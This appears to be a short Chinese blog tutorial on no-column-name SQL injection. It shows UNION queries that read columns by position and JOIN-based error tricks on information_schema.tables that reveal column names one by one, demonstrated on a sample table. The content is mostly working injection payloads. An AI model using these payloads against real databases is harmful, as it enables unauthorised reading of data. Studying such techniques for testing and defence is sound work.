zoukankan      html  css  js  c++  java
  • sql注入(利用join进行无列名注入)

    select 1,2,3 union select * from sc;
    select `1` from (select 1,2,3 union select * from sc)a;
    select `2` from (select 1,2,3 union select * from sc)a;
    

    select * from sc;

    select 1,2,3 union select * from sc;

    select `1` from (select 1,2,3 union select * from sc)a;

    join 报错来爆列名

    select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b)c;

    得到第一列列名 table_catalog

    select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog))c;

    得到第二列列名 table_schema

    select * from sc union all select * from (select * from information_schema.tables as a join information_schema.tables b using(table_catalog,table_schema))c;
    可得第三列列名 依次枚举

  • 相关阅读:
    ADO.NET存取数据库数据
    2017-01-03
    re模块
    random模块(随机)
    sys模块
    os模块
    datetime模块
    time模块
    logging模块
    Python函数初识
  • 原文地址:https://www.cnblogs.com/GH-D/p/11962522.html
Copyright © 2011-2022 走看看